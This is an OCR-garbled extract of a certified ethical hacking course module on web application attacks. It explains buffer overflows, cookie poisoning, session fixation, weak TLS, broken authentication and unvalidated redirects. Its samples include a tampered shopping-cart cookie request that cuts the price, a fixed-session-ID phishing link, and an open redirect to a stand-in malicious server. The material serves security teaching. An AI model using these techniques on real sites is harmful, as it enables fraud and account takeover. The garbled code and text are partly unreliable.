d i c t i o n a r y  f i le  t o  e s t im a t e  t h e  use rs  o f  t h e  a p p l ic a t io n .

M odule  13 Page 1801 Ethical H acking an d  C o u n te rm e asu re s  Copyright ©  by EC-C0UnCil
All Rights Reserved. R eproduction  is Strictly Prohib ited .



Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

0  A c c o u n t  L ock -O u t A t ta c k s :  D ic t io n a r y  a t ta c k s  can  be  m i n im iz e d  by  a p p ly in g  t h e  a c c o u n t  

lo c k  m e t h o d .  T h e  a t t a c k e r  m a y  e n u m e r a t e  u s e r  n a m e s  th r o u g h  v u ln e r a b i l i t y  in t h e  

a p p l ic a t io n  a n d  t h e n  a t t e m p t  t o  a u t h e n t i c a t e  t h e  s i te  u s in g  v a l id  u s e r  n a m e s  a n d  

i n c o r r e c t  p a s s w o rd s  t h a t  w i l l  lo c k  o u t  t h e  a c c o u n ts  a f t e r  t h e  s p e c i f ie d  n u m b e r  o f  fa i le d  

a t t e m p t s .  A t  th is  p o in t ,  l e g i t im a t e  u s e rs  w i l l  n o t  be  a b le  t o  use t h e  s i te .
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B u f f e r  O v e r f l o w  A t t a c k s  C E H

V

Vulnerable Code

in t main(int argc, char *argv[]) {
char *dest_buffer;
dest_buffer = (char *) malloc(10);
i f  (NULL =  dest_buffer)
return -1;
i f  (argc > 1) {
strcpy(dest_buffer, argv[ 1 ]);
printf("The f i r s t  oomnand-line
argument is  %s.\n״ , dest_buffer); )
else { prin tf ("No command-line
argument was given. \n"); }
f ree(dest_buf fer);
return 0; }

B u ffe r  o v e r f lo w  o ccu rs  w h e n  an a p p lic a t io n  

w r i te s  m o re  d a ta  t o  a b lo c k  o f  m e m o ry ,  o r  

b u ffe r ,  th a n  th e  b u f fe r  is a llo c a te d  to  h o ld

A  b u f fe r  o v e r f lo w  a tta c k  a llo w s  an a tta c k e r to  

m o d ify  th e  ta rg e t  p ro ce ss 's  a d d re ss  space  in 

o rd e r  to  c o n tro l th e  p ro ce ss  e x e c u tio n , c rash  

th e  p ro ce ss , and  m o d ify  in te rn a l va ria b le s

A tta c k e rs  m o d ify  fu n c t io n  p o in te rs  used  by  th e  
a p p lic a tio n  to  d ire c t  p ro g ra m  e x e c u t io n  

th ro u g h  a ju m p  o r  ca ll in s tru c t io n  and  p o in ts  it  

to  a lo c a tio n  in  th e  m e m o ry  c o n ta in in g  

m a lic io u s  codes

N ote: For com ple te  coverage o f bu ffe r o ve rflow  concepts and techniques, refer to  M odu le  18: Buffer O verflow

Copyright © by E&C01nal. All Rights Reserved. Reproduction is Strictly Prohibited.

B u f f e r  O v e r f l o w  A t t a c k s

A  b u f f e r  has a s p e c i f ie d  d a ta  s to ra g e  c a p a c i ty ,  a n d  i f  t h e  c o u n t  e x c e e d s  t h e  o r ig in a l ,  

t h e  b u f f e r  o v e r f lo w s ;  th is  m e a n s  t h a t  b u f f e r  o v e r f l o w  o c c u rs  w h e n  an a p p l ic a t io n  w r i t e s  m o r e  

d a ta  t o  a b lo c k  o f  m e m o r y ,  o r  b u f f e r ,  t h a n  th e  b u f f e r  is a l lo c a te d  t o  h o ld .  T y p ic a l ly ,  b u f f e r s  a re  

d e v e lo p e d  t o  m a in ta in  f i n i t e  d a ta ;  a d d i t i o n a l  i n f o r m a t i o n  can  be d i r e c te d  w h e r e v e r  i t  n e e d s  t o  

go . H o w e v e r ,  e x t r a  i n f o r m a t i o n  m a y  o v e r f l o w  i n t o  n e ig h b o r in g  b u f fe rs ,  d e s t r o y in g  o r  

o v e r w r i t i n g  lega l d a ta .

A r b i t r a r y  C o d e

A  b u f f e r  o v e r f l o w  a t t a c k  a l lo w s  an a t t a c k e r  t o  m o d i f y  t h e  t a r g e t  p ro c e s s 's  a d d re s s  

space  in o r d e r  t o  c o n t r o l  t h e  p ro c e s s  e x e c u t io n ,  c rash  th e  p ro ce ss ,  a n d  m o d i f y  

i n te r n a l  v a r ia b le s .  W h e n  a b u f f e r  o v e r f lo w s ,  t h e  e x e c u t io n  s ta c k  o f  a w e b  a p p l i c a t i o n  is 

d a m a g e d .  A n  a t t a c k e r  can  t h e n  se n d  s p e c ia l ly  c r a f te d  in p u t  t o  t h e  w e b  a p p l ic a t io n ,  so t h a t  t h e  

w e b  a p p l i c a t io n  e x e c u te s  t h e  a r b i t r a r y  c o d e ,  a l lo w in g  t h e  a t t a c k e r  t o  s u c c e s s fu l ly  ta k e  o v e r  t h e  

m a c h in e .  A t t a c k e r s  m o d i f y  f u n c t io n  p o in te r s  use d  b y  t h e  a p p l ic a t io n  t o  r e d i r e c t  t h e  p ro g r a m  

e x e c u t io n  t h r o u g h  a j u m p  o r  call i n s t r u c t io n  t o  a l o c a t io n  in t h e  m e m o r y  c o n ta in in g  m a l ic io u s  

c o d e .  B u f fe r  o v e r f lo w s  a re  n o t  easy  t o  d is c o v e r ,  a n d  e v e n  u p o n  d is c o v e ry  t h e y  a re  d i f f i c u l t  t o  

e x p lo i t .  H o w e v e r ,  t h e  a t t a c k e r  w h o  re c o g n iz e s  a p o t e n t i a l  b u f f e r  o v e r f l o w  can  access  a 

s ta g g e r in g  a r r a y  o f  p r o d u c t s  a n d  c o m p o n e n t s .
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B u f f e r  O v e r f l o w  P o t e n t i a l

Bo th  th e  w e b  a p p l ic a t io n  and se rve r  p ro du c ts ,  w h ic h  act as s ta t ic  o r  d y n a m ic  fe a tu re s  

o f  th e  s ite  o r  o f  th e  w e b  a pp l ica t ion ,  c o n ta in  th e  p o te n t ia l  fo r  a b u f fe r  o v e r f lo w  e rro r .  

B u f fe r  o v e r f lo w  p o te n t ia l  t h a t  is fo u n d  in se rv e r  p ro d u c ts  is c o m m o n ly  k n o w n  and crea tes  a 

th re a t  to  th e  user o f  t h a t  p ro d u c t .  W h e n  w e b  a pp l ica t io n s  use l ib ra r ies , th e y  beco m e  

v u ln e ra b le  to  a poss ib le  b u f fe r  o v e r f lo w  a ttack .

C ustom  w e b  a p p l ic a t io n  code, th ro u g h  w h ic h  a w e b  a p p l ic a t io n  is passed, m ay  also co n ta in  

b u f fe r  o v e r f lo w  p o te n t ia l .  B u f fe r  o v e r f lo w  e rro rs  in a c u s to m  w e b  a p p l ic a t io n  are  n o t  easily 

d e te c te d .  T he re  are fe w e r  a t ta cke rs  w h o  f in d  and d e ve lo p  such e rro rs . If it is fo u n d  in th e  

c u s to m  a pp l ica t io n  (o th e r  th a n  crash a pp l ica t io n ) ,  th e  capac ity  to  use th is  e r ro r  is reduced  by 

th e  fa c t  t h a t  b o th  th e  source  code  and e r ro r  message are n o t  accessib le to  th e  a t ta cke r .

V u l n e r a b l e  C o d e

i n t  m a i n ( i n t  a r g c ,  c h a r  * a r g v [ ] )  { 

c h a r  * d e s t _ b u f f e r ;

d e s t _ b u f f e r  = ( c h a r  * )  m a l l o c ( l O ) ;

i f  (NULL == d e s t _ b u f f e r )

r e t u r n  - 1 ;

i f  ( a r g c  > 1) {

s t r c p y ( d e s t _ b u f f e r , a r g v [ l ] ) ;

p r i n t f ( " T h e  f i r s t  c o m m a n d - l in e  a rg u m e n t  i s  % s . \ n " ,  d e s t _ b u f f e r ) ; }

e l s e  { p r i n t f ( " N o  c o m m a n d - l in e  a rg u m e n t  was g i v e n . \ n ״ ) ;  } f r e e ( d e s t _ b u f f e r ) ;

r e t u r n  0 ; }

N o te :  For c o m p le te  coverage  o f  b u f fe r  o v e r f lo w  conce p ts  and te c h n iq u e s ,  re fe r  to  M o d u le  17: 

B u f fe r  O v e r f lo w  A ttacks.

Ethical Hacking and  C o u n te rm easu re s  Exam 312-50 C ertified Ethical H acker
Hacking W eb A pplications
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I
 Cookie/Session Poisoning CEH

(•rtifWd I  itk itjl Nm Im

Cookies are used to maintain session state in the otherwise stateless HTTP protocol

Rewriting 
the Session Data

A  p r o x y  c a n  b e  u s e d  f o r  

r e w r i t in g  t h e  s e s s io n  d a ta ,  

d is p la y in g  t h e  c o o k ie  d a ta ,  

a n d / o r  s p e c i fy in g  a n e w  u s e r  

ID o r  o t h e r  s e s s io n  id e n t i f ie r s  

in  t h e  c o o k ie

Inject the 
Malicious Content

P o is o n in g  a l lo w s  a n  

a t ta c k e r  t o  in je c t  t h e  

m a l ic io u s  c o n t e n t ,  m o d i f y  

t h e  u s e r 's  o n l in e  

e x p e r ie n c e ,  a n d  o b t a in  t h e  

u n a u th o r iz e d  in f o r m a t io n

Modify the 
Cookie Content

C o o k ie  p o is o n in g  a t ta c k s  

in v o lv e  t h e  m o d i f ic a t io n  

o f  t h e  c o n t e n t s  o f  a c o o k ie  

( p e r s o n a l in f o r m a t io n  s to re d  

in  a  w e b  u s e r 's  c o m p u t e r )  in  

o r d e r  t o  b y p a s s  s e c u r i t y  

m e c h a n is m s  A

Copyright © by E&C01nal. All Rights Reserved. Reproduction is Strictly Prohibited.

C o o k i e / S e s s i o n  P o i s o n i n g

Cookies f r e q u e n t ly  t r a n s m it  sens it ive  c re d e n t ia ls  and can be m o d if ie d  w i th  ease to  

esca la te  access o r  assum e th e  id e n t i t y  o f  a n o th e r  user.

Cookies are used to  m a in ta in  a session s ta te  in th e  o th e rw is e  s ta te less HTTP p ro to c o l .  Sessions 

are in te n d e d  to  be u n iq u e ly  t ie d  to  th e  ind iv id ua l accessing th e  w e b  a p p l ic a t io n .  Po ison ing  o f  

cook ies  and session in fo rm a t io n  can a l lo w  an a t ta c k e r  to  in je c t  m a l ic ious  c o n te n t  o r  o th e rw is e  

m o d ify  th e  user's o n - l in e  e xpe r ie nce  and o b ta in  u n a u th o r iz e d  in fo rm a t io n .

Cookies can c o n ta in  sess ion-spec if ic  da ta  such as user IDs, passw ords , a c c o u n t  n u m b e rs ,  l inks 

to  s h op p ing  ca r t  co n te n ts ,  su pp lie d  p r iv a te  in fo rm a t io n ,  and session IDs. Cookies ex is t as fi les 

s to re d  in th e  c l ie n t  c o m p u te r 's  m e m o ry  o r  hard  disk. By m o d i fy in g  th e  da ta  in th e  cook ie , an 

a t ta c k e r  can o f te n  gain e sca la ted  access o r  m a l ic ious ly  a f fe c t  th e  user's session. M a n y  sites 

o f fe r  th e  a b i l i t y  to  "R e m e m b e r  m e ? "  and s to re  th e  user's in fo rm a t io n  in a cook ie , so he o r  she 

does n o t  have to  re -e n te r  th e  da ta  w i th  eve ry  v is i t  t o  th e  s ite. A n y  p r iva te  in fo rm a t io n  e n te re d  

is s to re d  in a cook ie . In an a t t e m p t  to  p ro te c t  cook ies, s ite  deve lo pe rs  o f te n  enco de  th e  

cook ies. Easily reve rs ib le  e n co d ing  m e th o d s  such as Base64 and ROT13 ( ro ta t in g  th e  le t te rs  o f  

th e  a lp h a b e t  13 charac te rs )  g ive m a n y  w h o  v ie w  co ok ies  a fa lse sense o f  secur ity .
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T h re a ts

The c o m p ro m is e  o f  cook ies  and sessions can p ro v id e  an a t ta c k e r  w i th  user c reden t ia ls ,  a l lo w in g  

th e  a t ta c k e r  to  access th e  a c c o u n t  in o rd e r  to  assum e th e  id e n t i t y  o f  o th e r  users o f  an 

a pp l ica t ion .  By assum ing  a n o th e r  user's o n l in e  id e n t i ty ,  th e  o r ig ina l  user's pu rchase  h is to ry  can 

be re v ie w e d , n e w  i te m s  can be o rd e re d ,  and th e  services and access th a t  th e  v u ln e ra b le  w e b  

a p p l ic a t io n  p ro v id e s  are o pen  fo r  th e  a t ta c k e r  to  e xp lo i t .  One o f  th e  easiest exam p les  invo lves  

using th e  cook ie  d ire c t ly  fo r  a u th e n t ic a t io n .  A n o th e r  m e th o d  o f  co ok ie /sess ion  p o ison ing  uses 

a p ro xy  to  r e w r i te  th e  session data , d isp lay ing  th e  cook ie  da ta  a n d /o r  spec ify ing  a n e w  user ID 

o r  o th e r  session id e n t i f ie rs  in th e  cook ie . Cookies can be p e rs is te n t  o r  n o n -p e rs is te n t  and 

secure  o r  non -secure . It can be one  o f  these  fo u r  va r ian ts .  Pers is ten t cook ies  are  s to re d  on  a 

d isk and n o n -p e rs is te n t  c o ok ies  are s to re d  in m e m o ry .  Secure cook ies  are t ra n s fe r re d  o n ly  

th ro u g h  SSL conn ec t io ns .
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How Cookie Poisoning Works

GET /store/buy .aspx?checkout=yes HTTP/1.0 Host www.juggyshop.com 
Accept •/* Referrer: http://www.juggyshop.com/showprods.aspxCookie: 
SESSIONID=325896ASDD23SA3587; BasketSize=3; lteml=1258;

. Item2=2658; Item3=6652; TotalPrice=11568;

Web server replies w ith  requested 
page and sets a cookie on th e  user's browser

User browses a w eb page

GET /stor^buy.aspx?checkout*yes HTTP/1.0 Host 
www.juggyshop.com Accept: •/• Referrer: 
http://www.juggyshop.com/showprods.aspx Cookie:
SESSIONID*325896ASDD23SA3587; BasketSlze»3; lteml»1258; 
Item2=2658; Item3«6652; TotalPrice*100;

Attacker orders fo r p roduct using m odified cookie

Product is delivered to  attacker's address

A ttacker steals 
cookie (Sniffing, 

XSS, phishing attack)

A t t a c k e r

Copyright © by E&C01nal. All Rights Reserved. Reproduction is Strictly Prohibited.

H o w  C o o k i e  P o i s o n i n g  W o r k s

Cookies are m a in ly  used by w e b  a pp lica t ion s  to  s im u la te  a s ta te fu l  e xpe r ie nce  

d e p e n d in g  u p o n  th e  end user. T hey  are used as an id e n t i t y  fo r  th e  se rve r  side o f  w e b  

a p p l ic a t io n  c o m p o n e n ts .  This a t ta ck  a lte rs  th e  va lue  o f  a cook ie  a t th e  c l ie n t  s ide  p r io r  to  th e  

re q u e s t  to  th e  server. A w e b  se rve r  can send a set cook ie  w i th  th e  he lp  o f  any  response  o v e r  

th e  p ro v id e d  s tr ing  and c o m m a n d .  The cook ies  are s to re d  on th e  user c o m p u te rs  and are a 

s ta nd a rd  w a y  o f  recogn iz ing  users. All th e  reques ts  o f  th e  cook ies  have been sent t o  th e  w e b  

se rve r once  i t  has been set. To p ro v id e  fu r t h e r  f u n c t io n a l i t y  to  th e  a pp l ica t ion ,  cook ies  can be 

m o d i f ie d  and ana lyze d  by JavaScript.

w In th is  a ttack , th e  a t ta c k e r  sn if fs  th e  user's cook ies  and th e n  m o d if ie s  th e  cook ie  

p a ra m e te rs  and s u b m its  to  th e  w e b  server. The se rve r  th e n  accepts  th e  a t ta cke r 's  

re q u e s t  and processes it.
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The fo l lo w in g  d iag ram  c lea r ly  exp la ins  th e  process o f  a co ok ie  p o ison ing  a ttack :

Webserver

GET /store/buy.*1spx?checkout-yesHI IP/1.0 Host: www.juggybhop.com ך 
Accept: */* Referrer: http://www.juggyshop.com/showprods.dspxCookie: 
SESSIONID-32b896A$DD23SA3587; BasketSize-3;lteml-1258; 
ltem2-2658; ltem3-6652; TotalPrice-11568; A

W e b se rve r re p lie s  w ith  re q u e s te d  

page and  sets a c o o k ie  on  th e  use r's  b ro w s e r

U se r b ro w se s  a w e b  page

GET /store/buy.aspx?checkout=yes HTTP/1.0 Host: 
www.juggyshop.com Accept: */* Referrer: 
http://www.juggyshop.com/showprods.aspx Cookie: 
SESSIONID-325896ASDD23SA3587; BasketSize=3; lteml-1258; 
Item2=2658; Item36652־; TotalPrice-100;

A tta c k e r o rd e rs  fo r  p ro d u c t us ing  m o d if ie d  c o o k ie

P ro d u c t is d e liv e re d  to  a tta c k e r's  add ress

A tta c k e r s tea ls  

c o o k ie  (S n iff in g , 

XSS, p h is h in g  a tta c k )

Attacker

F IG U R E  1 3 .2 5 :  H o w  C o o k ie  P o is o n in g  W o r k s
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C E HS e s s i o n  F i x a t i o n  A t t a c k

A tta c k e r  assu m e s  th e  id e n t i t y  o f  th e  

v ic t im  a n d  e x p lo it s  h is  c r e d e n t ia ls  a t 

th e  s e rv e r

In  a s e s s io n  f ix a t io n  a t ta c k ,  th e  

a t ta c k e r  t r ic k s  t h e  u s e r t o  access a 

g e n u in e  w e b  s e rv e r  u s in g  an  e x p l ic i t  

s e s s io n  ID v a lu e

S e rv e r
(juggybank.com )

| 1 g o
A  A

Attacker logs on to  th e  bank w e bs ite  using his c redentia ls 

W eb server sets a session ID on th e  a ttacker's machine

A ttacker logs in to  th e  server using th e  v ic tim 's  
credentia ls  w ith  th e  same session ID

h t tp : / / juggybank.dom/login. ja 
p?sessionid=4321

A tta c k e r

Attacker sends an 
email containing a link 

with a fix session ID

User clicks on th e  link  and is red irected  to  the  bank w e bs ite  • 

User logs in to  th e  server using his credentia ls  and fixed  session IDI t
U se r

Copyright © by E&C01nal. All Rights Reserved. Reproduction is Strictly Prohibited.

S e s s i o n  F i x a t i o n  A t t a c k s

Session f ix a t io n  helps an a t ta c k e r  to  h ijack a va lid  user session. In th is  a t tack , th e  

a t ta c k e r  a u th e n t ic a te s  h im  o r  h e rse l f  w i th  a k n o w n  session ID and th e n  lures th e  v ic t im  to  use 

th e  sam e session ID. If th e  v ic t im  uses th e  session ID sen t by th e  a t ta cke r ,  th e  a t ta c k e r  h ijacks 

th e  user v a l id a te d  session w i th  th e  k n o w le d g e  o f  th e  used session ID.

The session f ix a t io n  a t ta ck  p ro c e d u re  is exp la ined  w i th  th e  he lp  o f  th e  fo l lo w in g  d iag ram :

S e rv e r
(juggybank.com )BD O

A tta cker logs on to  th e  bank w e b s ite  using his c redentia ls  

W ebserver sets a session ID on th e  a ttacke r's  m achine

A tta cke r logs in to  th e  se rver using th e  v ic tim 's  
c redentia ls  w ith  th e  sam e session ID

h ttp :  //juggybank.dom /login. js  
p?sessionid=4321

Attacker

Attacker sends an 
em ail containing a link 

w ith  a fix  session ID

User clicks on th e  link  and is red irec ted  to  th e  bank w e b s ite

User logs in to  th e  se rve r using his c reden tia ls  and fixed session ID

User

FIGURE 13 .26 : H ow  C ookie Po ison ing  W orks
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C E H
I n s u f f i c i e n t  T r a n s p o r t  L a y e r  

P r o t e c t i o n

In s u ff ic ie n t  t ra n s p o r t  la y e r p ro te c t io n  s u p p o rts  w e a k  a lg o r ith m s , and

uses e x p ire d  o r  in v a lid  c e r t i f ic a te s

U n d e rp riv ile g e d  SSL s e tu p  can a lso  h e lp  th e  

a tta c k e r to  la unch  p h is h in g  a n d  M IT M  a tta c k s

Th is  v u ln e ra b il ity  expo ses u s e r 's  da ta  

to  u n t r u s te d  t h i r d  p a r t ie s  and  can 

lead to  a c c o u n t th e f t

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited

I n s u f f i c i e n t  T r a n s p o r t  L a y e r  P r o t e c t i o n

SSL/TLS a u th e n t ic a t io n  shou ld  be used fo r  a u th e n t ic a t io n  on th e  w e b s i te s  o r  th e

a t ta c k e r  can m o n i to r  n e tw o rk  t ra f f ic  to  steal an a u th e n t ic a te d  user 's  session cook ie .

In su f f ic ie n t  t r a n s p o r t  layer p ro te c t io n  m ay a l lo w  u n t ru s te d  th i r d  p a r t ie s  to  o b ta in  u n a u th o r iz e d  

access to  sens it ive  in fo rm a t io n .  The c o m m u n ic a t io n  b e tw e e n  th e  w e b s i te  and th e  c l ien t  shou ld  

be p ro p e r ly  e n c ry p te d  o r  data  can be in te rc e p te d ,  in je c ted , o r  red ire c ted .  Va r ious  th re a ts  like 

a c c o u n t  th e f ts ,  ph ish ing  a ttacks, and a d m in  accoun ts  m ay  h appen  a f te r  sys tem s are  be ing  

c o m p ro m is e d .
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C E HImproper Error Handling

J  I m p r o p e r  e r r o r  h a n d l i n g  g iv e s  in s ig h t  i n t o  s o u r c e  c o d e  s u c h  a s  lo g ic  f la w s ,  

d e f a u l t  a c c o u n ts ,  e tc .

U s in g  t h e  in f o r m a t i o n  r e c e iv e d  f r o m  a n  e r r o r  m e s s a g e ,  a n  a t t a c k e r  

i d e n t i f i e s  v u l n e r a b i l i t i e s

httpy/j uggyboy.com/l o o

B o y .1

G eneral Error

Could not obtain post/user Information 
DEBUG MODE

SQL Erroc: 1016 Can't open file: 'nuke_bbposts_text.MYO'. (errno: 145)
SELECT u.username, u.userjd, u.user_posts, u.user_from, u.user_webs!te. 
u.user_email, u.user_msnm, u. use r_vi ewe mail, u.user_rank, u.user_sig, 
u.user_sig_bbcode_uid, u.user_alowsmile, p.*, pt.post_text, ptpost_subject 
pt.bbcode.uid FROM nuke_bbposts p, nuke_usersu, nuke_bbposts_text pt WHERE 
p.topicJd »1547 ׳' AND pt.postJd ■ p.postJd AND u.userjd = p.posterjd ORDER BY 

p.post.tlme ASC LI MIT 0, IS 
Line: 43S

File:/user/home/geeks/www/vonage/module s/Forums/vi ewtope.php

I n f o r m a t i o n  G a t h e r e d

e  O u t o f  m e m o ry  

«  N u ll p o in te r  e xce p tio n s  

«  S ystem  ca ll fa ilu re  

® D atabase  u n a va ila b le  

© N e tw o rk  t im e o u t  

S  D atabase  in fo rm a tio n  

a  W eb a p p lic a tio n  lo g ica l f lo w  

© A p p lic a tio n  e n v iro n m e n t

Copyright © by E&Cauacfl. All Rights Reserved. Reproduction is Strictly Prohibited.

J J w S i  I m p r o p e r  E r r o r  H a n d l i n g

e l  Im p ro p e r  e r ro r  h an d l ing  m ay  resu lt  in va r ious  typ e s  o f  issues fo r  a w e b s i te  exc lus ive ly  

re la ted  t o  se cu r ity  aspects, espec ia l ly  w h e n  in te rn a l  e r ro r  messages such as stack traces, 

da tabase  d um ps , and e r ro r  codes are d isp layed  to  th e  a t ta cke r .  An a t ta c k e r  can g e t va r ious  

de ta i ls  re la ted  to  th e  n e tw o rk  ve rs ion , etc. Im p r o p e r  e r r o r  h a n d l in g  gives ins igh t in to  source  

code  such as log ic f law s , d e fa u l t  accounts , etc. Using th e  in fo rm a t io n  rece ived  f r o m  an e r ro r  

message, an a t ta c k e r  id e n t i f ie s  v u ln e ra b i l i t ie s  fo r  launch ing  a ttacks.

Im p ro p e r  e r ro r  h an d l ing  m ay a l lo w  an a t ta c k e r  to  g a th e r  in fo rm a t io n  such as:

© O u t o f  m e m o ry

e Null p o in te r  e xcep t ions

e System  call fa i lu re

e Database unava i lab le

0 N e tw o rk  t im e o u t

Q Database in fo rm a t io n

e W e b  a p p l ic a t io n  log ical f lo w

e A p p l ic a t io n  e n v i ro n m e n t
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I n s e c u r e  C r y p t o g r a p h i c  S t o r a g e  C E H

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

!. j !  I n s e c u r e  C r y p t o g r a p h i c  S t o r a g e

W e b  a pp l ica t io n s  use c ry p to g ra p h ic  a lg o r i th m s  to  e n c ry p t  th e i r  data  and o th e r  

sens it ive  in fo rm a t io n  t h a t  is t ra n s fe r re d  f r o m  se rve r  to  c l ie n t  o r  v ice  versa. The w e b  a pp l ica t io n  

uses c ry p to g ra p h ic  code  to  e n c ry p t  th e  da ta . Insecure  c ry p to g ra p h ic  s to rage  re fe rs  to  w h e n  an 

a p p l ic a t io n  uses p o o r ly  w r i t t e n  e n c ry p t io n  code  to  secure ly  e n c ry p t  and s to re  sens it ive  da ta  in 

th e  da tabase.

The insecure  c ry p to g ra p h ic  s to rage  m e n t io n s  th e  s ta te  o f  an a p p l ic a t io n  w h e re  p o o r  e n c ry p t io n  

code  is used fo r  secure ly  s to r in g  da ta  in th e  da tabase . So th e  insecure  data  can be easily hacked 

and m o d if ie d  by th e  a t ta c k e r  to  gain c o n f id e n t ia l  and  se n s i t iv e  in f o r m a t io n  such as c re d i t  card 

in fo rm a t io n ,  passw ords , SSNs, and o th e r  a u th e n t ic a t io n  c red en t ia ls  w i th  a p p ro p r ia te  

e n c ry p t io n  o r  hash ing  to  launch  id e n t i t y  th e f t ,  c re d i t  card f ra u d ,  o r  o th e r  cr im es. D eve lopers  

can avo id  such a ttacks  by using p ro p e r  a lg o r i th m s  to  e n c ry p t  th e  sens it ive  data .

The fo l lo w in g  p ic to r ia l  re p re s e n ta t io n  show s th e  v u ln e ra b le  code  th a t  is p o o r ly  e n c ry p te d  and 

secure  code  th a t  is p ro p e r ly  e n c ry p te d  using a secure  c ry p to g ra p h ic  a lg o r i th m .
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F IG U R E  1 3 .2 7 :  I n s e c u r e  C r y p t o g r a p h ic  S to r a g e
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B r o k e n  A u t h e n t i c a t i o n  a n d  

S e s s i o n  M a n a g e m e n t
C E H

B  A n  a t ta c k e r  u s e s  v u ln e r a b i l i t ie s  in  t h e  a u t h e n t ic a t io n  o r  s e s s io n  m a n a g e m e n t  f u n c t io n s  s u c h  

as e x p o s e d  a c c o u n ts ,  s e s s io n  ID s, lo g o u t ,  p a s s w o r d  m a n a g e m e n t ,  t im e o u t s ,  r e m e m b e r  m e , 

s e c r e t  q u e s t io n ,  a c c o u n t  u p d a te ,  a n d  o th e r s  t o  im p e r s o n a te  u s e rs

Timeout Exploitation

I f  an applica tion 's t im e o u ts  are no t set 
p rope rly  and a user s im ply  closes the 
brow se r w ith o u t logging ou t fro m  sites 
accessed through  a public com puter, 
th e  a ttacke r can use th e  same brow se r 
la te r and e xp lo it th e  user's privileges

Password Exploitation

Attacker gains access to  th e  w eb  
app lica tion 's  password database. 
I f  user passwords are not 
encryp ted , th e  a ttacke r can 
e xp lo it e very  users' password

Session ID in URLs

http://juggyshop.com/sa le/saleitems=30 
4;jsessionid120־ MTOIDPXMOOQSABGCK 
LHCJUN2JV?dest־ NewMexico

A ttacker sniffs the  n e tw o rk  tra ffic  
o r tricks th e  user to  get the  
session IDs, and reuses the  
session IDs fo r m alicious purposes

Copyright © by E&Coinal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

B r o k e n  A u t h e n t i c a t i o n  a n d  S e s s i o n  M a n a g e m e n t

A u th e n t ic a t io n  and session m a n a g e m e n t  inc ludes eve ry  aspect o f  user a u th e n t ic a t io n  

and m anag ing  ac t ive  sessions. Yet t im e s  solid  a u th e n t ic a t io n s  also fa i l  due  to  w e a k  c re d e n t ia l  

fu n c t io n s  l ike passw ord  change, fo rg o t  m y  passw ord , re m e m b e r  m y  passw ord , a c c o u n t  upd a te , 

etc. U tm o s t  care has to  be ta ken  re la ted  to  user a u th e n t ic a t io n .  It is a lw ays b e t te r  to  use s tron g  

a u th e n t ic a t io n  m e th o d s  th ro u g h  special s o f tw a re -  and h a rd w a re -b a se d  c ry p to g ra p h ic  to ke n s  

o r  b io m e tr ic s .  An a t ta c k e r  uses v u ln e ra b i l i t ie s  in th e  a u th e n t ic a t io n  o r  session m a n a g e m e n t  

fu n c t io n s  such as exposed  accoun ts , session IDs, log ou t,  passw ord  m a n a g e m e n t ,  t im e o u ts ,  

re m e m b e r  me, secre t q u e s t io n ,  a c c o u n t  u pd a te ,  and o th e rs  to  im p e rs o n a te  users.

S e s s i o n  I D  i n  U R L s

1 , An a t ta c k e r  sn if fs  th e  n e tw o rk  t ra f f ic  o r  t r icks  th e  user to  g e t  th e  session IDs, and 

reuses th e  session IDs fo r  m a l ic ious  purposes.

Example:

h t tp : / / iu gg vsho p .com /sa le /sa le i tem s= 304 ; isess ion id= 120M T O ID P X M O O Q S A B G C K LH C JU N 2JV ?d

e s t= N e w M e x ic o
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T i m e o u t  E x p l o i t a t i o n

If an a p p l ic a t io n 's  t im e o u ts  are  n o t  se t p ro p e r ly  and a user s im p ly  closes th e  b ro w s e r

—  w i t h o u t  logg ing  o u t  f r o m  sites accessed th ro u g h  a pub lic  c o m p u te r ,  th e  a t ta c k e r  can 

use th e  sam e b ro w s e r  la te r  and e x p lo i t  th e  user's p r iv i leges .

g j j g n  P a s s w o r d  E x p l o i t a t i o n

An a t ta c k e r  gains access to  th e  w e b  a p p l ic a t io n 's  passw ord  da tabase . If user

passw ords  are  n o t  e n c ry p te d ,  th e  a t ta c k e r  can e x p lo i t  eve ry  users ' passw ord .
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C E H
Urt1fw4 ilh iu l lUtbM

U n v a l i d a t e d  R e d i r e c t s  a n d  

F o r w a r d s

J  U n v a l id a t e d  r e d i r e c t s  e n a b le  a t ta c k e r s  t o  in s t a l l  m a lw a r e  o r  t r i c k  v ic t im s  i n t o  d is c lo s in g  

p a s s w o r d s  o r  o t h e r  s e n s i t i v e  in f o r m a t i o n ,  w h e r e a s  u n s a fe  f o r w a r d s  m a y  a l lo w  a c c e s s  

c o n t r o l  b y p a s s

Unvalidated Redirect

User is redirected to 

attacker's server

M a lic io u s  S e rv e rU se r

Attacker sends an em ail 
contain ing rew rite  link to 

m alicious server 
(http://www.iuggyboy.com/redirectJspK? 
=http://www .evilserver.com)

lo o  hnpj׳/www,ju|C*ykhopxom/*dm1r̂p
A d m in is tra tion  Page

I t  Create price list 

Q  Create item  listing 

*1 Purchase records 

£ 3  Registered users

Unvalidated Forward

Attacker is forwarded 
to  adm in pageB6_____ י

S e rv e r

Attacker requests page 

from  server w ith  a forward ^

http://www.juggyshop.com/purch 
ase.jsp?fwd=admin.jsp .-*---־-־ ־■*-

A t ta c k e r

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited

^  U n v a l i d a t e d  R e d i r e c t s  a n d  F o r w a r d s

ע  An a t ta c k e r  l inks to  u nva l id a te d  red irec ts  and lures th e  v ic t im  to  c l ick on it. W h e n  th e  

v ic t im  clicks on th e  l ink  th in k in g  t h a t  i t  is a va lid  s ite , i t  red ire c ts  th e  v ic t im  to  a n o th e r  s ite. Such 

red ire c ts  lead to  in s ta l la t io n  o f  m a lw a re  and even m ay  t r ic k  v ic t im s  in to  d isc los ing  passw ords  o r  

o th e r  sens it ive  in fo rm a t io n .  An a t ta c k e r  ta rg e ts  unsafe  fo rw a rd in g  to  bypass s e c u r i t y  checks.

Unsafe fo rw a rd s  m ay  a l lo w  access c o n t ro l  bypass lead ing  to :

Q Session F ixation  A t tacks

0  Secur ity  M a n a g e m e n t  Exploits

© Failure to  Restr ic t URL Access

0  M a l ic io u s  File Execution
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U n v a l i d a t e d  R e d i r e c t

User is redirected to  
attacker's server

UserAttacker

Attacker sends an email
conta in ing rew rite  link to  

m alicious server
(http://www.juggYboy.com/redirect.aspx?
(http://www.evil5erver.com־

